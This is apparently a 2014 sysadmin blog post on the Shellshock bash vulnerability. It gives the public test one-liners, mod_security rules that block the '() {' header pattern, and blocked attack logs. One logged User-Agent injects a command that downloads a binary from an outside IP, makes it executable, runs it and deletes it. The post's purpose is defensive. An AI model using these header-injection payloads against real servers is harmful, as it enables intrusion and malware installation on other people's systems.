Shellshock - first vulnerability scans arrived within a day!

If you are into web technologies then you probably heard about the latest serious vulnerability called "Shellshock", "BASH Bug" or "Shell-Schocker".

This is a vulnerability discovered by the world on Sep 24th affecting BASH - which can be found in basically all linux-based systems, like web servers and such.

The bash shell can be exploited by a sort-of "shell injection" method (similar to SQL-injection);

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

The linux community acted quite fast and most distributions received a patch for this vulnerability in about a day (by Sep 25th).

But on Sep 26th a second method has been reported, which hasn't been patched by this first patch:

env X='() { (a)=>\' sh -c "echo echo vulnerable"; cat echo

While a second patch has been issued too, I am worrying worry that this might not be the end of it, so decided to add the below rules to the application firewall (mod_security) of the web servers I control:

# Request Header values:
SecRule REQUEST_HEADERS "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# SERVER_PROTOCOL values:
SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# GET/POST names:
SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# GET/POST values:
SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# File names for uploads:
SecRule  FILES_NAMES "^\(\) {"  "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271  - Bash Attack'"

This identifies the shellshock attacks by pattern and refuses to service those requests.

It didn't take long and I started to see the real attacks (or rather scan activities to check for this vulnerability) being stopped by mod_security:

--d053083c-A--
[26/Sep/2014:21:58:23 +0200] VCXFX8Cb8koAADcCGiAAAxx 54.251.83.67 57109 192.155.242.xx 80 

--d053083c-B--
GET / HTTP/1.1
Host: 192.155.242.74
User-Agent: () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a 

--d053083c-F--
HTTP/1.1 400 Bad Request
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1 

--d053083c-E-- 

--d053083c-H--
Message: Access denied with code 400 (phase 1). Pattern match "^\\(\\) {" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf.d/mod_security.conf"] [line "136"] [id "1000000"] [msg "CVE-2014-6271 - Bash Attack"]
Action: Intercepted (phase 1)
Stopwatch: 1411761503506486 2398 (- - -)
Stopwatch2: 1411761503506486 2398; combined=1163, p1=1120, p2=0, p3=0, p4=0, p5=42, sr=650, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.7.3 (http://www.modsecurity.org/); OWASP_CRS/2.2.9.
Server: Apache
Engine-Mode: "ENABLED"
--d053083c-Z--

--084b991c-A--
[28/Sep/2014:14:20:22 +0200] VCf9BsCb8koAAHcXS2YAAAAB 70.42.149.71 31987 192.155.xx.xxx 80
--084b991c-B--
GET / HTTP/1.0
Host: 192.155.xxx.xxx
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.xx.xx/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*" 

--084b991c-F--
HTTP/1.1 400 Bad Request
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1
--084b991c-E-- 

--084b991c-H--
Message: Access denied with code 400 (phase 1). Pattern match "^\\(\\s*\\)\\s+{" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf.d/mod_security.conf"] [line "136"] [id "1000000"] [msg "CVE-2014-6271 - Bash Attack"]
Action: Intercepted (phase 1)
Stopwatch: 1411906822051767 33801 (- - -)
Stopwatch2: 1411906822051767 33801; combined=1149, p1=1106, p2=0, p3=0, p4=0, p5=42, sr=643, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.7.3 (http://www.modsecurity.org/); OWASP_CRS/2.2.9.
Server: Apache
Engine-Mode: "ENABLED"

I was a bit surprised to see these coming up on this low traffic site (~20 users / per day) on Sep 26th, within 1.5-2 days of this vulnerability being discovered. This just underlines the point that you need to patch your systems asap and using an application firewall like mod_security is a must.